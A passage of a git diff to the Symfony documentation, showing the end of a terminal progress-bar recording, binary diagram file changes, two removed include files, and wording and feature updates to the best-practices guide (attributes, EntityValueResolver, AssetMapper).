"\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K"] +[4.14385, "o", "\u001b[34m Starting the demo... fingers crossed \u001b[39m\r\n 5/15 \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m 33%\r\n 3 secs 6.5 MiB"] +[4.385367, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K"] +[4.38612, "o", "\u001b[34m Looks good to me... \u001b[39m\r\n 6/15 \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m 40%\r\n 3 secs 7.1 MiB"] +[4.868053, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K"] +[4.86852, "o", "\u001b[34m Looks good to me... \u001b[39m\r\n 8/15 \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m 53%\r\n 4 secs 8.1 MiB"] +[5.110341, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K"] +[5.11133, "o", "\u001b[34m Looks good to me... \u001b[39m\r\n 9/15 \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m 60%\r\n 3 secs 8.6 MiB"] +[5.593851, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G"] +[5.593924, "o", "\u001b[2K"] +[5.594818, "o", "\u001b[34m Looks good to me... \u001b[39m\r\n11/15 \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m 73%\r\n 4 secs 9.6 MiB"] +[5.836301, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K"] +[5.836831, "o", "\u001b[34m Looks good to me... \u001b[39m\r\n12/15 \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m 80%\r\n 4 secs 10.1 MiB"] +[6.31877, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A"] +[6.318814, "o", "\u001b[1G\u001b[2K"] +[6.319403, "o", "\u001b[34m Looks good to me... \u001b[39m\r\n14/15 \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m 93%\r\n 3 secs 11.1 MiB"] +[6.561359, "o", "\u001b[1G\u001b[2K\u001b[1A"] +[6.561561, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K"] +[6.562504, "o", "\u001b[34m Looks good to me... \u001b[39m\r\n15/15 \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m 100%\r\n 4 secs 11.6 MiB"] +[6.563772, "o", "\u001b[1G"] +[6.563824, "o", "\u001b[2K\u001b[1A"] +[6.563875, "o", "\u001b[1G\u001b[2K"] +[6.563926, "o", "\u001b[1A\u001b[1G\u001b[2K"] +[6.564766, "o", "\u001b[34m Thanks bye! \u001b[39m\r\n15/15 \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m 100%\r\n 4 secs 11.6 MiB"] +[6.564805, "o", "\r\n\r\n"] +[6.570516, "o", "\u001b[?2004h"] +[6.570537, "o", "\u001b[90m$ \u001b[0m"] +[8.441927, "o", "e"] +[8.646449, "o", "x"] +[8.76668, "o", "i"] +[8.897799, "o", "t"] +[9.091614, "o", "\r\n\u001b[?2004l\rexit\r\n"] diff --git a/_images/sources/components/messenger/overview.dia b/_images/sources/components/messenger/overview.dia index 55ee153439e..b0e2edaeab2 100644 Binary files a/_images/sources/components/messenger/overview.dia and b/_images/sources/components/messenger/overview.dia differ diff --git a/_images/sources/components/serializer/serializer_workflow.dia b/_images/sources/components/serializer/serializer_workflow.dia deleted file mode 100644 index 6cb44280d0d..00000000000 Binary files a/_images/sources/components/serializer/serializer_workflow.dia and /dev/null differ diff --git a/_images/sources/doctrine/mapping_relations.dia b/_images/sources/doctrine/mapping_relations.dia new file mode 100644 index 00000000000..5703e1b781c Binary files /dev/null and b/_images/sources/doctrine/mapping_relations.dia differ diff --git a/_images/sources/doctrine/mapping_relations_proxy.dia b/_images/sources/doctrine/mapping_relations_proxy.dia new file mode 100644 index 00000000000..1f491e9e2ef Binary files /dev/null and b/_images/sources/doctrine/mapping_relations_proxy.dia differ diff --git a/_images/sources/doctrine/mapping_single_entity.dia b/_images/sources/doctrine/mapping_single_entity.dia new file mode 100644 index 00000000000..5a9dc21889c Binary files /dev/null and b/_images/sources/doctrine/mapping_single_entity.dia differ diff --git a/_images/sources/form/data-transformer-types.dia b/_images/sources/form/data-transformer-types.dia new file mode 100644 index 00000000000..972b973a36d Binary files /dev/null and b/_images/sources/form/data-transformer-types.dia differ diff --git a/_images/sources/form/form-custom-type-postal-address-fragment-names.dia b/_images/sources/form/form-custom-type-postal-address-fragment-names.dia index aebdadb4170..ca12fcdeadc 100644 Binary files a/_images/sources/form/form-custom-type-postal-address-fragment-names.dia and b/_images/sources/form/form-custom-type-postal-address-fragment-names.dia differ diff --git a/_images/sources/form/form-custom-type-postal-address.dia b/_images/sources/form/form-custom-type-postal-address.dia index 35a1eaebfd6..1b7c6226315 100644 Binary files a/_images/sources/form/form-custom-type-postal-address.dia and b/_images/sources/form/form-custom-type-postal-address.dia differ diff --git a/_images/sources/form/form_events.dia b/_images/sources/form/form_events.dia new file mode 100644 index 00000000000..8e7afb1cb83 Binary files /dev/null and b/_images/sources/form/form_events.dia differ diff --git a/_images/sources/form/form_prepopulation_workflow.dia b/_images/sources/form/form_prepopulation_workflow.dia new file mode 100644 index 00000000000..1d6d450fed1 Binary files /dev/null and b/_images/sources/form/form_prepopulation_workflow.dia differ diff --git a/_images/sources/form/form_submission_workflow.dia b/_images/sources/form/form_submission_workflow.dia new file mode 100644 index 00000000000..cc08f117878 Binary files /dev/null and b/_images/sources/form/form_submission_workflow.dia differ diff --git a/_images/sources/form/form_workflow.dia b/_images/sources/form/form_workflow.dia new file mode 100644 index 00000000000..30f9acabe2b Binary files /dev/null and b/_images/sources/form/form_workflow.dia differ diff --git a/_images/sources/http/xkcd-full.dia b/_images/sources/http/xkcd-full.dia new file mode 100644 index 00000000000..a730d01c3ef Binary files /dev/null and b/_images/sources/http/xkcd-full.dia differ diff --git a/_images/sources/http/xkcd-request.dia b/_images/sources/http/xkcd-request.dia new file mode 100644 index 00000000000..3796228bf1d Binary files /dev/null and b/_images/sources/http/xkcd-request.dia differ diff --git a/_images/sources/mercure/discovery.dia b/_images/sources/mercure/discovery.dia new file mode 100644 index 00000000000..3db5c86f020 Binary files /dev/null and b/_images/sources/mercure/discovery.dia differ diff --git a/_images/sources/mercure/hub.dia b/_images/sources/mercure/hub.dia new file mode 100644 index 00000000000..b0dfb9d88d2 Binary files /dev/null and b/_images/sources/mercure/hub.dia differ diff --git a/_images/sources/rate_limiter/fixed_window.dia b/_images/sources/rate_limiter/fixed_window.dia new file mode 100644 index 00000000000..16282a2dcce Binary files /dev/null and b/_images/sources/rate_limiter/fixed_window.dia differ diff --git a/_images/sources/rate_limiter/sliding_window.dia b/_images/sources/rate_limiter/sliding_window.dia new file mode 100644 index 00000000000..e16275d8995 Binary files /dev/null and b/_images/sources/rate_limiter/sliding_window.dia differ diff --git a/_images/sources/rate_limiter/token_bucket.dia b/_images/sources/rate_limiter/token_bucket.dia new file mode 100644 index 00000000000..16761971337 Binary files /dev/null and b/_images/sources/rate_limiter/token_bucket.dia differ diff --git a/_images/sources/security/security_events.dia b/_images/sources/security/security_events.dia new file mode 100644 index 00000000000..0a8afa73179 Binary files /dev/null and b/_images/sources/security/security_events.dia differ diff --git a/_images/sources/serializer/serializer_workflow.dia b/_images/sources/serializer/serializer_workflow.dia new file mode 100644 index 00000000000..3e2ea62558f Binary files /dev/null and b/_images/sources/serializer/serializer_workflow.dia differ diff --git a/_images/translation/pseudolocalization-interface-original.png b/_images/translation/pseudolocalization-interface-original.png new file mode 100644 index 00000000000..d89f4e63a24 Binary files /dev/null and b/_images/translation/pseudolocalization-interface-original.png differ diff --git a/_images/translation/pseudolocalization-interface-translated.png b/_images/translation/pseudolocalization-interface-translated.png new file mode 100644 index 00000000000..496d5a0f86f Binary files /dev/null and b/_images/translation/pseudolocalization-interface-translated.png differ diff --git a/_images/translation/pseudolocalization-symfony-demo-disabled.png b/_images/translation/pseudolocalization-symfony-demo-disabled.png new file mode 100644 index 00000000000..1a7472bd41f Binary files /dev/null and b/_images/translation/pseudolocalization-symfony-demo-disabled.png differ diff --git a/_images/translation/pseudolocalization-symfony-demo-enabled.png b/_images/translation/pseudolocalization-symfony-demo-enabled.png new file mode 100644 index 00000000000..a23300a7271 Binary files /dev/null and b/_images/translation/pseudolocalization-symfony-demo-enabled.png differ diff --git a/_includes/_annotation_loader_tip.rst.inc b/_includes/_annotation_loader_tip.rst.inc deleted file mode 100644 index 0f4267b07f5..00000000000 --- a/_includes/_annotation_loader_tip.rst.inc +++ /dev/null @@ -1,19 +0,0 @@ -.. note:: - - In order to use the annotation loader, you should have installed the - ``doctrine/annotations`` and ``doctrine/cache`` packages with Composer. - -.. tip:: - - Annotation classes aren't loaded automatically, so you must load them - using a class loader like this:: - - use Composer\Autoload\ClassLoader; - use Doctrine\Common\Annotations\AnnotationRegistry; - - /** @var ClassLoader $loader */ - $loader = require __DIR__.'/../vendor/autoload.php'; - - AnnotationRegistry::registerLoader([$loader, 'loadClass']); - - return $loader; diff --git a/_includes/service_container/_my_mailer.rst.inc b/_includes/service_container/_my_mailer.rst.inc deleted file mode 100644 index 01eafdfe87a..00000000000 --- a/_includes/service_container/_my_mailer.rst.inc +++ /dev/null @@ -1,33 +0,0 @@ -.. configuration-block:: - - .. code-block:: yaml - - # config/services.yaml - services: - app.mailer: - class: App\Mailer - arguments: [sendmail] - - .. code-block:: xml - - <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - - <services> - <service id="app.mailer" class="App\Mailer"> - <argument>sendmail</argument> - </service> - </services> - </container> - - .. code-block:: php - - // config/services.php - use App\Mailer; - - $container->register('app.mailer', Mailer::class) - ->addArgument('sendmail'); diff --git a/best_practices.rst b/best_practices.rst index f43d4798452..7ca5590036a 100644 --- a/best_practices.rst +++ b/best_practices.rst @@ -10,7 +10,7 @@ You can even ignore them completely and continue using your own best practices and methodologies. Symfony is flexible enough to adapt to your needs. This article assumes that you already have experience developing Symfony -applications. If you don't, read first the :doc:`Getting Started </setup>` +applications. If you don't, first read the :doc:`Getting Started </setup>` section of the documentation. .. tip:: @@ -30,7 +30,7 @@ to create new Symfony applications: .. code-block:: terminal - $ symfony new my_project_name + $ symfony new my_project_directory Under the hood, this Symfony binary command executes the needed `Composer`_ command to :ref:`create a new Symfony application <creating-symfony-applications>` @@ -51,6 +51,7 @@ self-explanatory and not coupled to Symfony: │ └─ console ├─ config/ │ ├─ packages/ + │ ├─ routes/ │ └─ services.yaml ├─ migrations/ ├─ public/ @@ -82,17 +83,19 @@ Use Environment Variables for Infrastructure Configuration ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The values of these options change from one machine to another (e.g. from your -development machine to the production server) but they don't modify the +development machine to the production server), but they don't modify the application behavior. :ref:`Use env vars in your project <config-env-vars>` to define these options and create multiple ``.env`` files to :ref:`configure env vars per environment <config-dot-env>`. -Use Secret for Sensitive Information -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +.. _use-secret-for-sensitive-information: + +Use Secrets for Sensitive Information +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -When your application has sensitive configuration - like an API key - you should -store those securely via :doc:`Symfony’s secrets management system </configuration/secrets>`. +When your application has sensitive configuration, like an API key, you should +store those securely via :doc:`Symfony's secrets management system </configuration/secrets>`. Use Parameters for Application Configuration ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -106,18 +109,22 @@ Define these options as :ref:`parameters <configuration-parameters>` in the :ref:`environment <configuration-environments>` in the ``config/services_dev.yaml`` and ``config/services_prod.yaml`` files. +Unless the application configuration is reused multiple times and needs +rigid validation, do *not* use the :doc:`Config component </components/config>` +to define the options. + Use Short and Prefixed Parameter Names ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Consider using ``app.`` as the prefix of your :ref:`parameters <configuration-parameters>` to avoid collisions with Symfony and third-party bundles/libraries parameters. -Then, use just one or two words to describe the purpose of the parameter: +Then, use only one or two words to describe the purpose of the parameter: .. code-block:: yaml # config/services.yaml parameters: - # don't do this: 'dir' is too generic and it doesn't convey any meaning + # don't do this: 'dir' is too generic, and it doesn't convey any meaning app.dir: '...' # do this: short but easy to understand names app.contents_dir: '...' @@ -130,7 +137,7 @@ Use Constants to Define Options that Rarely Change ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Configuration options like the number of items to display in some listing rarely -change. Instead of defining them as :ref:`service container parameters <configuration-parameters>`, +change. Instead of defining them as :ref:`configuration parameters <configuration-parameters>`, define them as PHP constants in the related classes. Example:: // src/Entity/Post.php @@ -153,6 +160,8 @@ values is that it's complicated to redefine their values in your tests. Business Logic -------------- +.. _best-practice-no-application-bundles: + Don't Create any Bundle to Organize your Application Logic ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -162,7 +171,7 @@ InvoiceBundle, etc. However, a bundle is meant to be something that can be reused as a stand-alone piece of software. If you need to reuse some feature in your projects, create a bundle for it (in a -private repository, to not make it publicly available). For the rest of your +private repository, do not make it publicly available). For the rest of your application code, use PHP namespaces to organize code instead of bundles. Use Autowiring to Automate the Configuration of Application Services @@ -170,7 +179,7 @@ Use Autowiring to Automate the Configuration of Application Services :doc:`Service autowiring </service_container/autowiring>` is a feature that reads the type-hints on your constructor (or other methods) and automatically -passes the correct services to each method, making unnecessary to configure +passes the correct services to each method, making it unnecessary to configure services explicitly and simplifying the application maintenance. Use it in combination with :ref:`service autoconfiguration <services-autoconfigure>` @@ -184,25 +193,25 @@ Services Should be Private Whenever Possible those services via ``$container->get()``. Instead, you will need to use proper dependency injection. -Use the YAML Format to Configure your Own Services +Use the YAML Format to Configure your own Services ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ If you use the :ref:`default services.yaml configuration <service-container-services-load-example>`, most services will be configured automatically. However, in some edge cases you'll need to configure services (or parts of them) manually. -YAML is the format recommended to configure services because it's friendly to +YAML is the format recommended configuring services because it's friendly to newcomers and concise, but Symfony also supports XML and PHP configuration. -Use Annotations to Define the Doctrine Entity Mapping -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Use Attributes to Define the Doctrine Entity Mapping +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Doctrine entities are plain PHP objects that you store in some "database". Doctrine only knows about your entities through the mapping metadata configured for your model classes. -Doctrine supports several metadata formats, but it's recommended to use -annotations because they are by far the most convenient and agile way of setting +Doctrine supports several metadata formats, but it's recommended to use PHP +attributes because they are by far the most convenient and agile way of setting up and looking for mapping information. Controllers @@ -222,43 +231,37 @@ nothing more than a few lines of *glue-code*, so you are not coupling the important parts of your application. .. _best-practice-controller-annotations: +.. _best-practice-controller-attributes: -Use Attributes or Annotations to Configure Routing, Caching and Security -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Using attributes or annotations for routing, caching and security simplifies -configuration. You don't need to browse several files created with different -formats (YAML, XML, PHP): all the configuration is just where you need it and -it only uses one format. - -Don't Use Annotations to Configure the Controller Template +Use Attributes to Configure Routing, Caching, and Security ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -The ``@Template`` annotation is useful, but also involves some *magic*. -Moreover, most of the time ``@Template`` is used without any parameters, which -makes it more difficult to know which template is being rendered. It also hides -the fact that a controller should always return a ``Response`` object. +Using attributes for routing, caching, and security simplifies +configuration. You don't need to browse several files created with different +formats (YAML, XML, PHP): all the configuration is just where you require it, +and it only uses one format. Use Dependency Injection to Get Services ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -If you extend the base ``AbstractController``, you can only access to the most +If you extend the base ``AbstractController``, you can only get access to the most common services (e.g ``twig``, ``router``, ``doctrine``, etc.), directly from the -container via ``$this->container->get()`` or ``$this->get()``. +container via ``$this->container->get()``. Instead, you must use dependency injection to fetch services by :ref:`type-hinting action method arguments <controller-accessing-services>` or constructor arguments. -Use ParamConverters If They Are Convenient -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Use Entity Value Resolvers If They Are Convenient +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -If you're using :doc:`Doctrine </doctrine>`, then you can *optionally* use the -`ParamConverter`_ to automatically query for an entity and pass it as an argument -to your controller. It will also show a 404 page if no entity can be found. +If you're using :doc:`Doctrine </doctrine>`, then you can *optionally* use +the :ref:`EntityValueResolver <doctrine-entity-value-resolver>` to +automatically query for an entity and pass it as an argument to your +controller. It will also show a 404 page if no entity can be found. If the logic to get an entity from a route variable is more complex, instead of -configuring the ParamConverter, it's better to make the Doctrine query inside -the controller (e.g. by calling to a :doc:`Doctrine repository method </doctrine>`). +configuring the EntityValueResolver, it's better to make the Doctrine query +inside the controller (e.g. by calling to a :doc:`Doctrine repository method </doctrine>`). Templates --------- @@ -266,7 +269,7 @@ Templates Use Snake Case for Template Names and Variables ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Use lowercased snake_case for template names, directories and variables (e.g. +Use lowercase snake_case for template names, directories, and variables (e.g. ``user_profile`` instead of ``userProfile`` and ``product/edit_form.html.twig`` instead of ``Product/EditForm.html.twig``). @@ -284,9 +287,9 @@ Forms Define your Forms as PHP Classes ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Creating :ref:`forms in classes <creating-forms-in-classes>` allows to reuse +Creating :ref:`forms in classes <creating-forms-in-classes>` allows reusing them in different parts of the application. Besides, not creating forms in -controllers simplify the code and maintenance of the controllers. +controllers simplifies the code and maintenance of the controllers. Add Form Buttons in Templates ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -296,7 +299,7 @@ button of a form used to both create and edit items should change from "Add new" to "Save changes" depending on where it's used. Instead of adding buttons in form classes or the controllers, it's recommended -to add buttons in the templates. This also improves the separation of concerns, +to add buttons in the templates. This also improves the separation of concerns because the button styling (CSS class and other attributes) is defined in the template instead of in a PHP class. @@ -318,9 +321,11 @@ Use a Single Action to Render and Process the Form :ref:`Rendering forms <rendering-forms>` and :ref:`processing forms <processing-forms>` are two of the main tasks when handling forms. Both are too similar (most of the -times, almost identical), so it's much simpler to let a single controller action +time, almost identical), so it's much simpler to let a single controller action handle both. +.. _best-practice-internationalization: + Internationalization -------------------- @@ -340,8 +345,8 @@ Use Keys for Translations Instead of Content Strings ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Using keys simplifies the management of the translation files because you can -change the original contents in templates, controllers and services without -having to update all of the translation files. +change the original contents in templates, controllers, and services without +having to update all the translation files. Keys should always describe their *purpose* and *not* their location. For example, if a form has a field with the label "Username", then a nice key @@ -357,38 +362,32 @@ Unless you have two legitimately different authentication systems and users (e.g. form login for the main site and a token system for your API only), it's recommended to have only one firewall to keep things simple. -Additionally, you should use the ``anonymous`` key under your firewall. If you -require users to be logged in for different sections of your site, use the -:doc:`access_control </security/access_control>` option. - Use the ``auto`` Password Hasher ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The :ref:`auto password hasher <reference-security-encoder-auto>` automatically selects the best possible encoder/hasher depending on your PHP installation. -Currently, it tries to use ``sodium`` by default and falls back to ``bcrypt``. +Currently, the default auto hasher is ``bcrypt``. Use Voters to Implement Fine-grained Security Restrictions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ If your security logic is complex, you should create custom :doc:`security voters </security/voters>` instead of defining long expressions -inside the ``@Security`` annotation. +inside the ``#[Security]`` attribute. Web Assets ---------- -Use Webpack Encore to Process Web Assets -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +.. _use-webpack-encore-to-process-web-assets: -Web assets are things like CSS, JavaScript and image files that make the -frontend of your site look and work great. `Webpack`_ is the leading JavaScript -module bundler that compiles, transforms and packages assets for usage in a browser. +Use AssetMapper to Manage Web Assets +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -:doc:`Webpack Encore </frontend>` is a JavaScript library that gets rid of most -of Webpack complexity without hiding any of its features or distorting its usage -and philosophy. It was originally created for Symfony applications, but it works -for any application using any technology. +Web assets are the CSS, JavaScript, and image files that make the frontend of +your site look and work great. :doc:`AssetMapper </frontend/asset_mapper>` lets +you write modern JavaScript and CSS without the complexity of using a bundler +such as `Webpack`_ (directly or via :doc:`Webpack Encore </frontend/encore/index>`). Tests ----- @@ -398,8 +397,8 @@ Smoke Test your URLs In software engineering, `smoke testing`_ consists of *"preliminary testing to reveal simple failures severe enough to reject a prospective software release"*. -Using :ref:`PHPUnit data providers <testing-data-providers>` you can define a -functional test that checks that all application URLs load successfully:: +Using `PHPUnit data providers`_ you can define a functional test that +checks that all application URLs load successfully:: // tests/ApplicationAvailabilityFunctionalTest.php namespace App\Tests; @@ -411,7 +410,7 @@ functional test that checks that all application URLs load successfully:: /** * @dataProvider urlProvider */ - public function testPageIsSuccessful($url) + public function testPageIsSuccessful($url): void { $client = self::createClient(); $client->request('GET', $url); @@ -419,7 +418,7 @@ functional test that checks that all application URLs load successfully:: $this->assertResponseIsSuccessful(); } - public function urlProvider() + public function urlProvider(): \Generator { yield ['/']; yield ['/posts']; @@ -434,8 +433,10 @@ Add this test while creating your application because it requires little effort and checks that none of your pages returns an error. Later, you'll add more specific tests for each page. -Hardcode URLs in a Functional Test -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +.. _hardcode-urls-in-a-functional-test: + +Hard-code URLs in a Functional Test +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ In Symfony applications, it's recommended to :ref:`generate URLs <routing-generating-urls>` using routes to automatically update all links when a URL changes. However, if a @@ -443,13 +444,13 @@ public URL changes, users won't be able to browse it unless you set up a redirection to the new URL. That's why it's recommended to use raw URLs in tests instead of generating them -from routes. Whenever a route changes, tests will fail and you'll know that +from routes. Whenever a route changes, tests will fail, and you'll know that you must set up a redirection. .. _`Symfony Demo`: https://github.com/symfony/demo .. _`download Symfony`: https://symfony.com/download .. _`Composer`: https://getcomposer.org/ -.. _`ParamConverter`: 